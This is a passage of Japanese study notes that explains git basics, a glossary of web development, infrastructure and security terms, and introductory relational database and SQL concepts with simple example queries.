git ls-filesGitで管理しているファイル一覧の表示

2.2.3 - 3. gitにおける各種ファイルと補足情報

.gitignoreなどの書き方の説明

3.1. .gitignoreに関して

.gitignoreではgitで管理したくないファイルを指定できる。 例えば以下のようなもの。

  • 自動生成されるファイル
  • パスワード・IDなどが記載されるファイル(.env)など
#拡張子ファイルを無視
.拡張子
#指定したファイルの除外
ファイル名
#ディレクトリ以下で除外(特定ファイルの無視)
フォルダ名/

2.3 - 9.Web技術各種用語集

用語の説明

2.3.1 - 1.OS/システム用語

OSや言語特性などの単語

1.1. OS/Systemの用語

1.1.1. OSの処理能力(32bit/64bit)

OSのエディションには32bit/64bitがあり、それぞれ処理速度、扱えるメモリ量が異なる。

扱えるメモリ容量扱えるHDD容量
32bit版2~4GB2TBまで
64bit版8GB~2TB2TB以上

1.1.2. CPUのアーキテクチャ(x86, x64, arm)

x86(32bit)

x86はインテル(Intel)およびAMDなどのCPUアーキテクチャに関連する用語。 x86アーキテクチャは32bitプロセッサを指す。

32bitプロセッサは、32bitのデータ幅を持ち、通常、32bitの命令を処理する。

x64(64bit)

x64は64bitプロセッサアーキテクチャを指す。 x86の拡張バージョンであり、インテルおよびAMDの64bitプロセッサに関連する。

64bitプロセッサは、64bitのデータ幅とアドレッシングをサポートし、大容量のメモリと高性能処理を可能にする。

arm

ARM(Advanced RISC Machines)は、ARMホールディングスが開発した低電力のRISC(Reduced Instruction Set Computer)アーキテクチャ。 arm64で64bit、arm32で32bitの動作となる。

1.2. 言語特性/仕様の用語

1.2.1. GC(ガベージコレクション)

コンピュータプログラムの実行環境などが備える機能の1つであり、実行中のプログラムが占有していたメモリ領域のうち不要になったものを自動的に解放し、空き領域として再利用できるようにするもののことを言う。

1.2.2. クロージャ

あるコードブロック内で定義された関数などが、そのブロックをスコープとする変数などを参照できること。

また、そのような機能を利用してブロック内部で定義された関数のこと。

1.2.3. カリー化

複数の引数をとる関数を、1引数関数の連続した呼び出しに置き換えること.

JavaScriptの例

function greet (name, age) {
  console.log('My name is ' + name + '. I am ' + age + ' years old.');
}
greet('taro', 27); // 引数を2つ渡す
// ↓↓↓
function greet (name) {
  return function (age) {
    console.log('My name is ' + name + '. I am ' + age + ' years old.');
  }
}
greet('taro')(27); // 引数の渡し方が変わる

1.2.4. 高階関数

関数を引数や戻り値とする関数。

1.2.6. デコレータ

デコレータは関数やクラスの前後に特定の処理を追加できる機能。

1.2.7. サブルーチン

コンピュータプログラムの中で特定の機能や処理をひとまとまりの集合として定義し、他の箇所から呼び出して実行できるようにしたもの。

1.3. 開発言語の用語

1.3.1. WebAssembly

WebAssemblyは仮想マシン上で動作するバイナリ形式の命令のこと。 WebAssemblyには2つのフォーマットがあり、「Binary Format(WASM)」と「Teaxt Format(WAT)」がある。

公式ドキュメント:https://webassembly.org/getting-started/developers-guide/

WebAssemblyはCやC++、Rust、Goなどの様々な言語から上記のWebAssemblyの命令形式へコンパイルして利用する。

WebAssemblyを用いることにより得られるメリットは以下の3つ。

  • JavaScriptではできなかった負荷の大きな処理をブラウザで実行可能
  • C/C++など既存のソースコードをブラウザで実行可能
  • フロントとバックの処理を同じ言語で記述できる

WebAssemblyが適用できる場面(ユースケース)としては負荷の大きな処理をブラウザで実装したいときに役に立つ。

  • 動画、画像編集
  • 画像認識
  • 低遅延のVR・AR
  • CAD
  • ゲーム開発
  • 圧縮や暗号化など

Qiitaの解説記事:https://qiita.com/t_katsumura/items/ff379aaaba6931aad1c4

1.3.2. JVM言語

処理系がJVM(Java仮想マシン)上で動作する言語の総称。 OS環境に実行が依存しない特徴がある。

Scala, Kotlinなどがある。

1.3.3. SSML

音声マークアップ言語。

2.3.2 - 2.システム開発用語

システム開発の用語

2.1. 開発系全般の用語

2.1.1. バージョン管理ツール

ファイルやデータのバージョンを管理する仕組みやツール。
リビジョン管理システムとも呼ばれる。 集中型分散型の2種類がある。

集中型バージョン管理ツール

集中型バージョン管理ツールで1つのリポジトリのみを使用する。
リポジトリへの反映にはリポジトリと端末がネットワークで繋がっている必要があり、繋がっていなければファイルの変更履歴をリポジトリに反映することができない。

代表的な集中型のバージョン管理ツールにはSVNCVSがある。

分散型バージョン管理ツール

分散型バージョン管理ツールは各ローカル環境にリポジトリの複製を作成し、ローカルごとにバージョン管理を行える特徴がある。
ローカルごとにバージョン管理を行い、そのあとで中心のリポジトリとバージョン管理の情報を共有する。

代表的な分散型のバージョン管理ツールにはGitがある。

2.1.2. コーディング・実装原則

YAGNI原則

後で使うと設計した機能は後から使わないという原則。

DRY原則

重複管理を避けて1か所で管理するというルール。

KISSの原則

複雑にせず単純にするという原則。

2.1.3. CMS/HeadlessCMS

CMS

WordPressやEC-CUBE、Drupalなどの従来のCMS。

HeadlessCMS

ヘッドレスCMSはコンテンツ管理機能に特化したCMS

ヘッドレスCMSと従来のCMSは、管理機能であるバックエンドのみか、表示機能であるフロントエンド・バックエンド機能を同時に持つかに違いがある。

ヘッドレスCMSでは管理機能のみになるため、別に表示画面の用意と専門知識が必要となっている。その分表示画面の自由度が高まり、APIの受け取り先が格段に増えることから、さまざまなデバイス・チャネルに対応が可能と言える。

具体的なサービスにはStrapi、microCMS、GraphCMSなどがある。

2.2. フロントエンドの用語

2.2.1. SPA/MPA

SPA

SPA(Single Page Application)は単一のWebページで構成するアプリケーション。
ページ遷移を行わずにページやコンテンツの切り替えが可能なのが特徴。
言い換えると、他のページへ移動せずにコンテンツの切り替えができる技術

具体的にはユーザーがひとつのサービスを通じて得られる体験であるUXの向上に効果があり、ブラウザの挙動に縛られることがないUIの実現が可能となっている。

SPA

SPAの開発はJavaScriptにより実現される。
またOSSで提供されているSPAを構築可能なフレームワークは以下のようなものがある.

  • React ・・・ Facebook主導のフレームワーク、UIデザインの知識がなくても最先端のフロントエンドが作れる、スマホアプリにも拡張可能
  • Vue ・・・ シンプルなフレームワークで使いやすい、日本語のドキュメントが充実している、学習コストが低い
  • Angular ・・・ Google主導のフレームワーク、動作端末を考慮する必要がなく汎用性が高い、機能が多いため大規模開発に向いている

MPA

MPA(Multiple Page Application)は複数のページで構成されるアプリケーションです。
HTTP GETが来たら、リクエストに応じたHTMLを1つ1つ組み上げてブラウザに返すオーソドックスで昔ながらの特徴となっている。
Railsやlaravelなどのサーバサイドフレームワークを公式ドキュメント通り作るとこの設計になる。

またWordPressなどのCMSもMPA構成となっている。

2.2.2. SSR/CSR/SSG

SSR

SSR(Server Side Rendering)はページ遷移のたびサーバーにリクエストが走り、そのままサーバー側でAPIと連携をしてレンダリングが行われ、生成されたHTMLをブラウザに返すアーキテクチャのこと。

サーバー側でレンダリングが行われる特徴がある。

SSR

サーバーサイドレンダリング(SSR)は、その名の通りサーバー側でアプリケーションの HTML を生成しレスポンスとして返すことを言う。 一般的に利用されている MPA(Multiple Page Application)では言うまでもなく行われていることなので、SSR というワードは自ずと SPA(Single Page Application)を構築する際のオプション機能を指すことが多い。

SSRのメリットを整理すると、まず一番に挙がるのはレンダリングをサーバー側で行えるので、通常のSPAと比べて初回読み込みに時間がかからないということである。 厄介なレンダリング処理をサーバー側で行えるので、ブラウザの負担が減り、すなわちブラウザのスペックの高くない機器(スマホなど)でも安定した表示速度を保つことが可能となっている。

CSR

CSR(Client Side Rendering)は、クライアント側のJavaScriptを使用し直接ブラウザでページをレンダリングすることを言う。

大きいアプリケーションの場合クライアントで処理するJavascriptの量も増える(クライアントで処理する情報量が増加する)。

SEO的には弱い。

SSG

SSG(Static Site Generation)はビルド時に、サーバー側で、APIからのデータ取得とそれに伴ったHTMLの構築を終わらせておき、ユーザーからリクエストされた際にこの事前につくっておいたHTMLを渡すアーキテクチャ。

Next.jsやNuxt.jsなどを利用することで構築できる。

SEO対策が可能。

Cookieは簡単に言うとサイト訪問者のユーザ情報をブラウザに一時保存(キャッシュ)する仕組み

ファストパーティCookieサードパーティCookieの2種類がある。

ファストパーティCookie

通常のログインに関する情報やショッピングカートの中身などの1つのサイト用のCookie。

サードパーティCookie

サードパーティクッキーは訪れたサイト以外のドメインから(第三者)から発行されたクッキーであり、ドメインを横断したトラッキングができるのでWEB広告で広く活用されている。

Googleにより、2024年に廃止が決定された。 個人情報保護の観点からクッキーへの規制を強める動きがあるため廃止される可能性が高い

2.3. バックエンドの用語

2.3.1. モノリス/マイクロサービス

モノリスアーキテクチャ

モノリスアーキテクチャは1つのサービスや機能で構築される従来型のアーキテクチャである。

モノリシック

マイクロサービスアーキテクチャ

マイクロサービスアーキテクチャは複数のサービスや機能を疎結合させて構築されるアーキテクチャ

メリットとしてはマイクロサービスのアーキテクチャでは、大規模で複雑なアプリケーションを提供する際のスピードと信頼性が向上することが上げられる。

マイクロサービス

マイクロサービスをWeb系システムで組むための関連技術としては、Go言語やKubernetesなどが注目されている。

2.3.2. サーバレスアーキテクチャ

サーバーレスアーキテクチャーは常時稼働する物理サーバーや仮想化基盤上の仮想マシンを極力使わずにアプリを構築するアーキテクチャーのこと。

具体的にはクラウドであるIaaSやPaaSの登場によりシステム開発側がサーバを意識する必要がなくなったことから登場した概念といえる。

AWSで言うと、ECSやEKS基盤、Amplifyなどで構成されるようなアプリケーションはサーバレスアーキテクチャと言える。

2.3.3. NoSQL

NoSQL(Not Only SQL)は非リレーショナルデータベース(RDB)なデータベースの総称のこと。 近年RDBでは対応できないケースが増えてきたことから、昨今ではNoSQLが注目されている。

NoSQL

特徴としてはNoSQLでは音声や画像など、Excelのセルに入らないデータも扱える。 速度を優先する構造であるためビッグデータなど大量データの処理に向くことも注目を集める大きな要因である。

NoSQLは4種類に分類される。

  • キーバリュー型
  • ワイドカラムストア型
  • ドキュメント型
  • グラフ型

NoSQLが適するケースは以下の通り。

  • 非構造化データや半構造化データを扱うとき
  • スピードが第一に要求されるシステム
  • 拡張する可能性が高いシステム

2.3.4. ORM

ORM(Object-Relational Mapping)はオブジェクトと関係(RDB)とのマッピングを行うもの。 内部的にはORMがSQLをラッピングした構成となっている。

ORMを使うとSQLを直接書くことなく、オブジェクトのメソッドでDB操作ができると言う特徴がある。

フレームワークごとのORMは以下の通り。

言語ORM説明
RubyActiveRecordRailsのORM
PythonDjango ORMDjangoのORM
Node.jsPrisma, TypeORM

2.3.5. RPC

RPC(遠隔手続き呼出し)はコンピュータで動作するソフトウェアから、通信回線やコンピュータネットワークを通じて別のコンピュータ上で動作するための規格であり、互いに互換性がない場合があることからプロトコルというほどの堅い規約というよりも分類である。

有名どころ: XML-RPC, JSON-RPC, tRPC, gRPC

tRPC

簡単に言うと、server側で定義したInterfaceをそのままclient側で取り込んで繋ぎ込みができるもの。

Node.js(Type Script)向きのRPC実装

公式ドキュメント:https://trpc.io/

関連するパッケージyarn add @trpc/server zod

gRPC

Googleが開発したRPC実装。 マイクロサービスアーキテクチャと相性が良い

公式ドキュメント:https://grpc.io/

2.3.6. Open API

言語に依存しない標準の RESTful API へのインターフェイス仕様。 関連するものにswaggerがある。

API設計が巨大化したときに使える。

swagger: Open API Specific を記述するための、OSSのツール https://swagger.io/docs/specification/about/

2.3.3 - 3.インフラ/セキュリティの用語

インフラ/セキュリティの用語

3.1. インフラストラクチャの用語

3.1.1. CI/CD

CI(継続的インテグレーション)

テストや静的コード解析などの作業を自動化し、継続的に実行する手法。

CD(継続的デリバリー)

各環境へのデプロイ作業を自動化し継続的に実行する手法。

CI/CD

CIとCDを合わせたもの。 以下のことを実行できる。

  • ビルドの自動化 ソースコードから実行可能なアプリケーションを構築する。 具体的には、Dockerイメージのpull、依存パッケージのインストール、コンパイルなど。
  • テストの自動化 UTなどのテストコードを実行して動作確認をしたり、Rubocop(Ruby)などのコードスタイルチェックなどを行う。
  • デプロイの自動化 ビルドしてテストが通ったものを本番環境や検証環境などに自動デプロイする。

代表的なCI/CDツールにはCircleCI、GitHub Actions、PipeCDなどがある。

3.1.2. CDN

CDN(コンテンツデリバリネットワーク)はユーザーになるべく近い場所でコンテンツを配信することにより、高速かつ信頼性の高いサービス提供するというもの。

CDNは分散されたキャッシュサーバー群によるネットワークとも言うことができる。 具体的にはWebアプリケーションで表示する画像や文章を世界中のサーバにキャッシュすることで実現する。

また以下の問題を解決できる。

  • 世界中からアクセスのあるWEBアプリケーションやWEBサイトのレスポンスの改善
  • Webサーバがダウンした際でもWebアプリケーションの機能の一部が提供できる
  • ユーザが直接サーバにアクセスしないのでDDos攻撃やWebサイト改竄の被害をほとんど押さえることができる

代表的なCDNを提供するサービスにはCloudFlareやAWSのCloudFront、Akanamiなどがある。

3.2. セキュリティの用語

3.2.1. SSO

シングルサインオン(Single Sign-On)は「シングル 」と「サインオン」を組み合わせたもの。

「1度システム利用開始のユーザー認証 (ログイン) を行うと複数のシステムを利用開始する際に、都度認証を行う必要がない仕組み」や「1度の認証で、以後その認証に紐づけられている複数のシステムやアプリ・サービスにも、追加の認証なしで利用できる製品・システム・ツール」を指す。

3.2.2. ハニーポット

ハニーポットは、不正な攻撃者の行動・手法などを観察/分析する受動的な目的で設置される罠システム。

ハニーポットには以下のような種類がある。

  • 高対話型ハニーポット … 実際のOSやアプリケーションを利用し、そこに残存している脆弱性などをそのまま不正攻撃者に対して弱点として見せる形式のハニーポット
  • 低対話型ハニーポット … 特定のOSやアプリケーションをエミュレーションして監視する形式のハニーポット

3.2.3. ピボッティング

ピボッティングは侵入したマシンをルータとして利用して他のネットワークにアクセスする技法のことをいう。

ピボッティングでは攻撃者側から直接アク セスできないネットワークに対し侵入したマシンを足掛かりにアクセスすることを可能にする。

3.2.4. SIEM

SIEM(Security Information and Event Management:セキュリティ情報イベント管理)はシステムを構成する機器から自動的にログを収集・分析したり、異常時に通知したりできるソリューション

具体的にファイアウォールやIDS/IPS、プロキシーなどから出力されるログやデータを一元的に集約し、それらのデータを組み合わせて相関分析を行うことで、ネットワークの監視やサイバー攻撃やマルウェア感染などのインシデントを検知することを目的とした仕組み。

3.2.5. C&Cサーバ(C2サーバ)

C&Cサーバは外部から侵入して乗っ取ったコンピュータを利用したサイバー攻撃を行う際に踏み台のコンピュータを制御したり命令を出したりする役割を担うサーバのこと。

主に防弾ホスティング上で展開される。

3.2.6. UTM

UTM(Unified Threat Management)は統合脅威管理とも呼ばれる1つのハードウェアに複数の異なるセキュリティ機能を統合し、ハッキングやコンピュータウイルスなどの脅威から、ネットワークを包括的かつ効率的に保護する手法のこと。

UTM機器は、ファイアウォール、IDS/IPS、アンチスパム、Webフィルタリング、アンチウイルス、アプリケーション制御などでネットワーク全体を保護する。 UTMはファイヤーウォールと異なり、ファイアウォールや複数の脅威検知機能を組み合わせ、ネットワークを包括的に防御する。

3.2.7. HSTS

RFC 6797で定義されるWebサイトがWebブラウザーにHTTPSでのアクセスを指示することで中間者攻撃を防止するための技術のこと。

3.2.8. SOC

SOC(Security Operation Center)はシステム・ネットワークの状態を監視し、サイバー攻撃の検知や分析・対策を行うことで企業の情報資産を守るための組織のこと。 セキュリティ専門の部署またはサービスとして、24時間365日体制で以下のような対応を行う。

  • サイバー攻撃の検知や分析
  • システム・ネットワークの状態を監視
  • ネットワーク機器やセキュリティ装置・サーバーの監視
  • ログ情報の解析や分析

3.2.9. CSIRT

CSIRT(Computer Security Incident Response Team)はセキュリティインシデントが発生した場合に対応する組織のこと。

インシデントが発生した際に行う対応は以下の通り。

  • システムの停止から復旧の対応
  • SOCが解析した情報を基に再発させないための防止策導入

セキュリティインシデントが発生していない際に行う対応は以下の通り。

  • インシデント防止のため脆弱性に関連する情報収集から対策の導入
  • インシデント発生時に対応するための社員教育
  • CSIRTメンバー内での情報共有

3.2.10. IoC

IoC(Indicator of Compromise)はセキュリティ侵害インジケータなどとも呼ばれる、攻撃発生やどのようなツールが使われたかなどを明らかにする手掛かりとなる情報のこと。

IoCで掲載される情報には以下のようなものがある。

  • 攻撃者が使用するマルウェアのファイル名
  • 攻撃によって変更されるレジストリ
  • 使用されるプロセスの名称
  • 通信先のURIやIPアドレス

3.2.11. SCAP

SCAPは脆弱性管理・測定・評価を自動化するための基準のこと。 代表的なものにはCVSSCVEなどがある。

2.3.4 - 4.ネットワーク/無線の用語

ネットワーク/無線の用語

4.1. ネットワークの用語

4.1.1. IPマスカレード

NAPT(PAT)と同じ意味。
詳しくはコチラ

4.1.2. ポートフォワーディング

ポートフォワーディングはインターネットから特定のポート番号宛に通信が届いたときにあらかじめ設定しておいたLAN側の機器にパケットを転送する機能のこと。静的IPマスカレードとも呼ばれる。

この設定は外部からの通信を内部で処理するのに必須の設定と言える。

4.1.3. ダイナミックDNS(DDNS)

DDNSはIPアドレスが変更されたときに DNSレコードを自動的に更新できるサービスのこと。

4.1.4. VPNパススル

VPNを実現するための機能。

PPTPパススル

PPTPパススルはPPTP(Point-to-Point トンネリング プロトコル)によるVPN接続を許可する機能。

IPsecパススル

IPsecパススルーはNAT機器配下にあるIPsec端末が、NAT機器の先にあるIPsec端末とIPsec通信ができるようにするための機能。

4.1.5. PPPoEパススル

PPPoEパススルはLAN・WANインターフェース間でPPPoEパケットを転送することにより、LAN側インターフェース配下の端末が直接PPPoE接続できるようにするための機能。

4.1.6. 透過型プロキシ

透過型プロキシはクライアントにプロキシの設定をしていない状態でもプロキシサーバ経由によるWebアクセスをさせる方法。

Squidなどで実現可能

特徴

  • ブラウザにプロキシの設定を入れる必要がない
  • そのままではhttpsで警告が出てしまう
    • 回避策:プロキシサーバでの動的な証明書作成およびクライアントでのプロキシサーバルート証明書インストール
  • PBR(Policy Base Routing)などのNW設計が必要

4.1.7. PBR(Policy Base Routing)

PBRはルーティングテーブルに従ってパケットを転送するのではなく,管理者が設定した「送信元アドレス、プロトコル、ポート番号、パケットサイズ、入力I/F」の情報に基づきルーティングを行える技術のこと。

4.2. 無線の用語

3 - アプリ開発入門

Webアプリケーション、デスクトップアプリなどソフトウェアを作成するためのノウハウ

4 - データベース入門

基本的にRDBの基礎知識メモ

4.1 - 1.データベース基礎知識

データベースの基礎知識

1.1. データベース概論

1.1.1. データベースとは

データベースはある特定の条件に当てはまる「データ」を複数集めて、後で使いやすい形に整理した情報のかたまりのことを表のようなものを指す。
特にコンピュータ上で管理するデータをデータベースと呼ぶことが多いが、紙の上で管理する「電話帳」や「住所録」なども、立派なデータベースである。

また、コンピュータ上でデータベースを管理するシステム(DBMS:Database Management System)のことや、そのシステム上で扱うデータ群のことを、単に「データベース」と呼ぶ場合もある。
データベースを使ってデータを管理するメリットには、次のようなものが挙げられる。

  1. 複数のデータをまとめて管理できる
  2. 目的のデータを簡単に探すことができる
  3. 簡単に編集して使うことができる

1.1.2. DBMS(Data Base Management System)

DBMSはDBを管理するためのシステム。

RDBMS

RDBMS(関係データベース管理システム)は様々な会社が提供しており、有料のものには以下のようなものがある。

  • Oracle DB
  • SQL Server

RDB

有名どころのRDB。

  • MySQL
  • PostgreSQL
  • SQLite

1.1.3. RDB(Relational Data Base)

RDB(リレーショナルデータベース)は表の形でデータを管理するデータベース。 以下の要素で構成される。

種類説明
表(テーブル)複数のデータを収容する場所
行(レコード)1件分のデータを表す
列(フィールド)データを構成する項目を表す

RDBの例

RDB

1.1.4. SQL(Structured Query Language)

SQLとはデータベースを操作するための言語。 DBMS上でデータの追加や削除、並べ替えなどを行うようコンピュータに命令することができる。

基本的に1行ずつ入力して確定し、直ちに実行される。複数のSQLを組み合わせて大きな一つの塊のSQLとして実行することもできるが、通常のプログラミング言語のように一連の操作をまとめてセットすることのできる「ストアドプロシージャ」という機能のあるDBMSもある。

ストアドプロシージャ

ストアドプロシージャはDBMSにSQL文を1つのプログラムにまとめ保存しておくことを指す。 一連の処理が実行される。

また、メリットは以下の通り。

  • ネットワークの負荷削減
  • 処理速度の向上

1.1.5. NoSQL

NoSQLはNot only SQLの略で、SQLに限定されることなく非定型な構造を持つデータを柔軟に管理することができるもの。 NoSQLはデータモデルによって、「キー・バリュー型」「カラムストア型」「グラフ型」「ドキュメント型」の4つに大きく分けられる。

NoSQLのメリット

  • 非定型データの格納に対応可能な、柔軟かつ動的なデータモデルを利用できる
  • データスキーマ/戦略の大幅な見直し、あるいはパフォーマンスの低下をともなわずに、データベースのスケーリングが可能
  • ビッグデータ運用にも耐えうる大容量データ処理を実現できる

NoSQLの有名どころ

  • redis
  • MongoDB

1.1.6. ORM

ORM(Object-Relational Mapping)ことオブジェクト関係マッピングはオブジェクトと関係(RDB)とのマッピングを行うもの

ORMを使うとSQLを直接書くことなく、オブジェクトのメソッドでDB操作ができると言う特徴がある。

1.2. データベース基礎

1.2.1. カラムとデータ型

テーブルをつくる時、どんなデータを入れるか構造を指定する。カラム型には以下のようなものがある。

ここではMySQLの場合の例を記載する。

数値型

UNSIGNED を指定すると正の数しか格納できなくなる。(UNSIGNEDでデータ範囲:0~2n)

名称概要
TINYINT整数型-128 ~ 127
SMALLINT整数型-32768 〜 32767
MEDIUMINT整数型-8388608 〜 8388607
INT、INTEGER整数型-2147483648 〜 2147483647
BIGINT真数型-9223372036854775808 〜 9223372036854775807
BOOL、BOOLEANBoolean型TINYINT(1) で指定した場合と同じ。true と false の2択を保存したいときに使うことが多い。
BITBIT型111 や 10000000 といったビットフィールド値を格納するのに使う。ビット値を指定するには、b'111’ や b'10000000’ のように指定する。
DECIMAL、DEC、NUMERIC小数点型誤差のない正確な小数を格納できる。
FLOAT小数点型おおよそ小数第7位まで正確な小数を格納できる。
DOUBLE小数点型おおよそ小数第15位まで正確な小数を格納できる。
日付型・時間型
用途フォーマット
DATE日付‘年-月-日’(例: ‘2020-01-01’)
DATETIME日付と時間‘年-月-日 時:分:秒’(例: ‘2020-01-01 12:15:03’)
TIMESTAMPタイムスタンプ‘年-月-日 時:分:秒’(例: ‘2020-01-01 12:15:03’))
TIME時間‘時:分:秒’(例: ‘12:15:03’)
YEAR年(例: 2020)

値の指定方法

日付や時間を扱う型のカラムに値を挿入する場合、以下のような基本フォーマット以外の形も使える。

  • ‘2020-01-01 12:15:05’ (基本)
  • ‘20-1-1 12:15:5’
  • ‘2020/01/01 12:15:05’
  • ‘20200101121505’

文字列型

文字列を扱う型は以下の種類があり、それぞれ用途が違いがある。

用途
CHAR固定長文字列を格納。CHAR(10) のようにして格納できる文字数(0〜255・デフォルトは1)を指定できる。
VARCHAR可変長文字列を格納。VARCHAR(10) のようにして格納できるバイト数(0〜65,535)を指定できる。
BINARY固定長バイナリバイト文字列を格納。BINARY(10) のようにして格納できる文字数(0〜255・デフォルトは1)を指定できる。
VARBINARY可変長バイナリバイト文字列を格納。VARBINARY(10) のようにして格納できるバイト数(0〜65,535)を指定できる。
TINYBLOBバイナリデータを格納。最大長は 255 (2^8 − 1) バイト。
BLOBバイナリデータを格納。最大長は 65,535 (216 − 1) バイト。BLOB(10) のようにして格納できるバイト数を指定できる。
MEDIUMBLOBバイナリデータを格納。最大長は 16,777,215 (2^24 − 1) バイト。
LONGBLOBバイナリデータを格納。最大長は 4,294,967,295 または 4G バイト (2^32 − 1) バイト。
TEXT文字列を格納。最大長は 65,535 (216 − 1) 文字。TEXT(10) のようにして格納できる文字数を指定できる。

1.2.2. 正規化

関係データベースにおいて蓄積データの重複や矛盾が発生しないように最適化するのが一般的。 同じ内容を表のあちらこちらに書かないように表を分割するなどすることは正規化と呼ばれる。

正規化

正規化の実行

非正規形(正規化を行っていない元の形の表)を何回か正規化を行い最適化行う。

正規化説明
非正規形正規化されていない繰り返し部分を持つ表
第1正規形繰り返し部分を分離させ独立したレコードを持つ表
第2正規形部分関数従属しているところを切り出した表
第3正規形主キー以外の列に関数従属している列を切り出した表

非正規形

非正規型の表は繰り返し部分を持ち、関係データベースで扱えない表の形である。

第1正規形

非正規形の表から繰り返し部分を取り除いたものは第1正規形となる。 また表の形は2次元の表となる。

第2正規形

第1正規形の表から部分関数従属している列を分離した表が第2正規形の表である。

第3正規形

第2正規形の表から主キー以外の列に関数従属している列を分離した表が第3正規形の表である。

1.2.3. 関係演算

関係演算は表の中から特定の行や列を取り出したり、表と表をくっつけ新しい表を作り出したりする演算のことである。 選択、射影、結合などがある。

  • 選択 ・・・ 行を取り出す演算
  • 射影 ・・・ 列を取り出す演算
  • 結合 ・・・ 表同士を結合する演算

このような演算を行い仮想的に作る一時的な表はビュー表と呼ばれる。

1.2.4. スキーマ

スキーマは「概念、要旨」という意味を持ち、データベース構造や使用の定義をするものである。 標準使用されているスキーマにはANSI/X3/SPARC規格は3層スキーマ構造をとり、外部スキーマ、概念スキーマ、内部スキーマという3層に定義を分けることでデータの独立性を高める。

スキーマ

1.2.5. 主キーと外部キー

データベースの表には行を識別できるようにキーとなる情報が含まれており、それは主キーと呼ばれる。また表同士を関連付けするときの主キーは外部キーと呼ばれる。

また複数列を組み合わせて主キーにしたものは複合キーと呼ばれる。

関数従属と部分関数従属

  • 関数従属 ・・・ 主キーが決まったとき列が一意に定まる関係
  • 部分関数従属 ・・・ 複合キーの一部の項目のみで列の値が一意に定まる関係

1.2.6. トランザクション管理と排他制御

トランザクション管理と排他処理は複数人がデータベースにアクセスし同時変更などをした際にデータ内容に不整合が生じる問題からデータベースを守る処理。

トランザクション

データベースにおいてトランザクションは一連の複数の処理をひとまとめにしたもののことを指す。 具体的にはデータの整合性を保つための概念と言える。

トランザクションが必要なケースは以下のようなものがある。

  • 手動でSQLを操作する場合
  • 複数データの整合性を保つ場合

排他制御

排他制御は処理中のデータをロックし他の人が読み書きできないようにする機能である。 ロックする方法には共有ロックと専有ロックがある。

  • 共有ロック ・・・ 各ユーザはデータを読むことはできるが、書き込みができない状態
  • 専有ロック ・・・ 他ユーザはデータを読み書きすることができない

また、デットロックと呼ばれる現象がロック機能を使いすぎると起こる場合がある。

deadlock

ACID特性

DBMSではトランザクション処理に対して4つの特性(ACID特性)が必要とされる。

ACID

1.2.7. データベースの障害対策

データベースは定期的にバックアップを作ったり、更新前後の状態をジャーナルファイルに記録したりし障害の発生に備える。 バックアップ後の更新はジャーナルと呼ばれるログファイルに更新前の状態と更新後の状態を逐一記録しデータベースの更新履歴を管理するようにする。

障害が発生した際にはこれらのファイルを用いてロールバックロールフォワードなどの障害回復処理を行い、元の状態に復旧する。

コミットとロールバック

データベースでは更新処理をトランザクション単位で管理しる。 トランザクションは一連の処理が問題なく完了できたときに、最後にその更新を確定することでデータベースへ更新内容を反映させる。これはコミットと呼ばれる。 またトランザクション処理中に障害が発生し更新に失敗した場合、データベース更新前の状態を更新前ジャーナルから取得しデータベースをトランザクション処理直前の状態に戻す。この処理はロールバックと呼ばれる。

分散データベースと2相コミット

分散データベースシステムは物理的に分かれている複数のデータベースを見かけ上1つのデータベースとして扱えるようにしたシステムのこと。

これはトランザクション処理が各サイトにわたり行われるので、全体の同期をとりコミット、ロールバックを取らないと、データの整合性が取れなくなる恐れがある。 そのため全サイトに問い合わせを行い、その結果を見てコミット、ロールバックを行う。この処理は2相コミットと呼ばれる。

ロールフォワード

データベース自体が突然障害に見舞われた場合、バックアップ以降の更新ジャーナルから更新情報を取得し、データベースを障害発生直前の状態に復旧させる一連の処理がある。

この処理はロールフォワードと呼ばれる。

1.3. DBホスティングサービス

一部のみの記載。

1.3.1. DB

名称種類ホスト元
Amazon AuroraRDBMSAWS
Cloud SQLRDBMSGCP
Azure SQL DatabaseRDBMSAzure
Amazon AuroraNoSQLAWS
Cloud BigtableNoSQLGCP

1.3.2. サーバレスDB

サーバレスDBではサーバ管理を考える必要がないため、開発者はプログラムの開発に集中できる。

名称種類ホスト元
AWS Lambda(NoSQL)-AWS
Amazon Aurora Serverless-AWS
PlanetScaleRDB

4.2 - 2.SQLの基本

データベース操作言語であるSQLに関する説明

2.1. SQLとは

SQL(Structured Query Language)とはデータベースを操作するための言語。
DBMS上でデータの追加や削除、並べ替えなどを行うようコンピュータに命令することができる。

基本的に1行ずつ入力して確定し、直ちに実行される。複数のSQLを組み合わせて大きな一つの塊のSQLとして実行することもできるが、通常のプログラミング言語のように一連の操作をまとめてセットすることのできる「ストアドプロシージャ」という機能のあるDBMSもある。

2.1.1. ストアドプロシージャ

DBMSにSQL文を1つのプログラムにまとめ保存しておくことはストアドプロシージャと呼ばれる。
一連の処理が実行される。

また、メリットは以下の通り。

  • ネットワークの負荷削減
  • 処理速度の向上

2.1.2. SQLの種類

標準SQL規格では大きく以下の3つが定義されている。

  • データ定義言語(DDL)…..例:CREATE,DROP,ALTER等
  • データ操作言語(DML)…..例:INSERT,UPDATE,DELETE,SELECT
  • データ制御言語(DCL)…..例:GRANT,REVOKE,SET TRANSACTION,BEGIN,COMMIT,ROLLBACK,SAVEPOINT,LOCK

2.1.3. SQLの4大命令

命令説明文法
INSERTデータを追加するINSERT INTO テーブル名 (カラム名1, カラム名2, …) VALUES (値1, 値2, …);
SELECTデータを参照するSELECT カラム名1, カラム名2, … FROM テーブル名 [WHERE 絞込条件];
UPDATEデータを更新するUPDATE テーブル名 SET カラム名1=値1 [, カラム名2=値2 …] [WHERE 絞込条件];
DELETEデータを削除するDELETE FROM テーブル名 [WHERE 絞込条件];

2.2. SQL基本操作

操作例を用いて解説。

操作例のテーブル

membersテーブル

idnamesexbirthday
1taroumale1999-11-30
2hanakofemale1993-01-14

2.2.1. INSERT文

INSERT はテーブルにレコードを追加するSQL文。

INSERT INTO members (name,sex,birth_day)
VALUES ('tarou', 'male', '1992-11-30');

INSERT INTO members (name,sex,birth_day)
VALUES ('hanako', 'femal','1993-01-14');

2.2.2. SELECT文

全件全列を参照する

SELECT * FROM members; -- 全件検索

特定の列だけを参照する

全ての列は要らない時はカラム名で絞込をしよう。

SELECT name FROM members; -- 全件検索(名前だけ見たい)

特定の条件に一致するデータだけを参照する

SELECT * FROM members WHERE name = 'tarou'; -- 名前が"tarou"のレコードを検索

2.2.3. UPDATE文

全件特定のカラムを更新

--membersのレコードのnameをすべて'jirou'に更新する
UPDATE members SET name = 'jirou';

実行後のテーブル

idnamesexbirthday
